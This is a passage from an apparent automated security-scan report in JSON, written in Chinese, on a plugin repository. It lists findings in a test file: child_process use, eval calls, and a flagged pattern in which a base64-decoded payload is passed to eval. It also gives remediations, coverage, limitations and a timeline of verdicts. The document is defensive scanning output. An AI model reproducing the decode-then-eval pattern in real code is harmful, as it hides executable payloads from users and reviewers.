Function(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中；位于测试、示例或文档目录","hash":"245d40be2da3719b780e57cc"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/v2.test.js","pathClass":"test-example-docs","line":355,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"922f315295a877ec70a41724"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/v2.test.js","pathClass":"test-example-docs","line":400,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"922f315295a877ec70a41724"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"test/v2.test.js","pathClass":"test-example-docs","line":85,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式；位于测试、示例或文档目录","hash":"856424ed36100d9c6758e090"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/v2.test.js","pathClass":"test-example-docs","line":102,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中；位于测试、示例或文档目录","hash":"856424ed36100d9c6758e090"},{"id":"HT-OBFUSCATION-001","title":"源码呈现混淆或载荷隐藏特征","severity":"high","confidence":"low","layer":"static","path":"test/v2.test.js","pathClass":"test-example-docs","line":386,"evidence":"Buffer.from(payload, 'base64').toString() eval","remediation":"以可读源码分发；若必须打包，请同时提供可复现构建与 source map。","note":"解码后直接进入执行；位于测试、示例或文档目录","hash":"3d14e4c1e615c5494e50680e"}],"counts":{"critical":0,"high":0,"medium":0,"low":23},"rawCounts":{"critical":18,"high":16,"medium":1,"low":45},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":129,"bytesScanned":911313,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":67,"markdown":12,"yaml":1,"source":45,"cordis":1,"data":2,"manifest":1}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:25:48.487Z","summary":null,"intentMatch":null,"findingsReviewed":2,"findingsCandidates":2,"fromCache":2,"usage":null}},"timeline":[{"scannedAt":"2026-08-22T08:25:48.487Z","commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","policyVersion":"HT-DSH-0.2.2","verdict":"pass","status":"static-complete"},{"scannedAt":"2026-08-21T11:28:27.222Z","commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","policyVersion":"HT-DSH-0.2.1","verdict":"pass","status":"static-complete"},{"scannedAt":"2026-08-21T10:57:24.595Z","commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","policyVersion":"HT-DSH-0.2.0","verdict":"caution","status":"static-complete"}],"events":[{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:25:48.487Z"},{"kind":"verdict-change","from":"caution","to":"pass","commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:28:27.222Z"},{"kind":"first-scan","from":null,"to":"caution","commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:57:24.595Z"}]}